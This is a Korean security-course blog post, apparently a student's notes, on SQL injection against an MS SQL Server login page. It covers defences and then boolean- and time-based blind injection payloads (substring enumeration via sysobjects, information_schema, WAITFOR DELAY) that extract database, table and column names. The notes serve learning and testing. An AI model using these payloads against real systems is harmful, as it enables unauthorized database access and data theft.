본문으로 바로가기

[D+15] SQL Injection (3)

category 해킹&보안/웹 해킹&보안 2017. 5. 24. 22:43
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

13. SQL Injection


6) 보안


1. 사용자 입력 값 검증(서버측) : 싱글쿼터 또는 주석처리 구문이 있는지 확인하고 해당 구문을 날리지않고 연결을 완전 끊어버림.

2. 데이터 길이 제한

3. 오류 반환 설정 : 500 error를 보이지 않고 404 에러로 통일.

4. 웹 방화벽 및 IDS에서 필터링 : 장비에서 차단을 함. 그러나 맹목적으로 신뢰할 수 없음.


▣ 오류 반환 설정

- 500 에러를 보여주지 않고 404 에러를 띄우게 설정.

- 제어판 > 관리도구 > 인터넷 서비스 관리자 > 웹 해킹 서버 등록정보 > 사용자 정의 오류 > 500-100 부분을 404의 파일링크로 덮어씀

- 적용 전

- 적용 후

=====> 결론적으로 Error based SQL Injection을 할 수 없음. (정보가 아무것도 보이지 않음)



7) Error based SQL Injection (404 에러 우회)


▣ SQL Injection 가능한지 확인하기

- 참과 거짓이 구분가능한지를 통해 SQL Injection이 가능한지 확인함.

☞ [ID]' and 1=1-- : 항상 참이기때문에 로그인이 자동으로 됨을 확인할 수 있음.

☞ [ID]' and 1=2-- : 항상 거짓이기 때문에 로그인이 되지 않음.

- 참과 거짓이 구분가능하며 SQL Injection이 가능함을 확인할 수 있음.


▣ 참과 거짓을 판별하여 한글자씩 찾기 (참/거짓이 구분가능해야만 공격이 가능)

-  한글자씩 찾기

☞ substring을 이용하여 한글자씩 비교하면서 찾음.

☞ 단어 덩어리를 한번에 맞추기는 힘들기때문.

☞ 글자수를 체크하기 위해 우선 제일먼저 0과 비교함.


- DB명 찾기

1. 테이블명이 어떻게 들어있는지를 살핌. (sysobjects에서 xtype이 U이면 유저정의 테이블)

☞ [쿼리분석기]select db_name() 를 이용

☞ substring을 이용하여 한글자씩 비교 (substring(문자열, 인덱스, 비교할글자수))

☞substring(db_name()),1,1)

☞ 0과 비교하여 글자 수 부터 확인. 5자리임을 확인할 수 있음.

☞ 일치하지 않을 시 404 에러 페이지가 뜸.

☞ 일치할 시 로그인이 됨.


2. 결론적으로 찾게 된 DB명 : board


- 테이블명 찾기

#sysobjects - 데이터베이스에서 만들어진 각 개체에 대한 행을 포함.


1. 테이블명이 어떻게 들어있는지를 살핌. (sysobjects에서 xtype이 U이면 유저정의 테이블)

☞ select * from sysobjects


☞ select * from sysobjects where xtype='U'

☞ 가장 첫번째의 테이블명만 출력하기 : select top 1 name from sysobjects where xtype='U'

2. substring으로 비교하기 : substring((select top 1 name from sysobjects where xtype='U'), 1, 1) = 'a' --

   이러한 방법으로 1자리씩 비교해가며 찾음.

☞ 글자수를 찾기위해 0과 비교를 진행.


3. 두번째 테이블명을 찾기 위해서..

substring((select top 1 name from sysobjects where xtype='U' and NOT name='member'),1,1) = 'b'-- 사용.


- 컬럼명 찾기

#syscolumns - 모든 테이블 및 뷰의 모든 열에 대해 한행을 포함.


1. 컬럼명도 테이블명과 동일하게 진행됨.

☞ substring((select top 1 name from syscolumns where id=(select top 1 id from sysobjects where xtype='U' and name='member')),1,1) = 'b'--


2. 두번째 컬럼명 찾기 

☞ admin'and substring((select top 1 name from syscolumns where id=(select top 1 id from sysobjects where xtype='U' and name='member') and NOT name like 'baddr1'),6,1)= '2'--


[컬럼명 찾기 2번째 팁]


#information_schema 뷰로서 각 데이터 베이스마다 존재. (시스템 개체가 버전의 변경등으로 인한 문제를 해결하기 위함) 이름이 달라짐.

 syscolums같은거는 잘 막거든..


[쿼리분석기:모든 테이블] select * from information_schema.tables

[쿼리분석기:모든 컬럼] select * from information_schema.columns

[쿼리분석기:특정 테이블의 컬럼] select * from information.columns where table_name='member'


첫번째, 컬럼 이름


[웹]admin' and substring((select top 1 column_name from information_schema.columns where table_name='member'),1,1) = 'i'--


두번째, 컬럼 이름


[웹]admin' and substring((select top 1 column_name from information_schema.columns where table_name='member' and NOT column_name like 'idx'),1,1) = 'b'--



- 데이터 타입 구하기


#information_schema.columns 의 data_type 컬럼을 이용


[쿼리분석기:member 테이블의 첫번째 컬럼 데이터타입] 

select substring((select top 1 data_type from information_schema.columns where table_name='member'),1,3)


[웹]admin' and substring((select top 1 data_type from information_schema.columns where table_name='member'),1,3) = 'int'--



▣ 시간을 이용하여 강제로 참 거짓 판별하기

- 시간차를 이용함 (waitfor Delay)

- IF (조건) WAITFOR DELAY '시:분:초'

☞ 조건이 참인 경우 : 해당 시간동안 지연시킨 후 결과를 반환

☞ 조건이 거짓인 경우 : 곧바로 결과 반환


# 네트워크 상태에 따라 거짓임에도 불구하고 시간이 Delay 될 수 있다. (100% 신뢰 할 수 없기에 여러번 확인.)

[쿼리 분석기] if(select current_user) = 'dbo' waitfor delay '0:0:3'
[웹]admin'if (조건) waitfor delay '0:0:3'--
[웹]admin'if(substring((select top 1 name from sysobjects where xtype='U'),1,1)) = 'm' waitfor delay '0:0:3'--





i2sec 대구지점 23기 수료생.

'해킹&보안 > 웹 해킹&보안' 카테고리의 다른 글

[Final] War Game  (0) 2017.06.09
[D+14] SQL Injection (2)  (0) 2017.05.23
[D+13] SQL Injection  (0) 2017.05.22
[D+12] Session Management Vulnerabilities  (0) 2017.05.22
[D+11] FileUpload & FileDownlaod  (0) 2017.05.21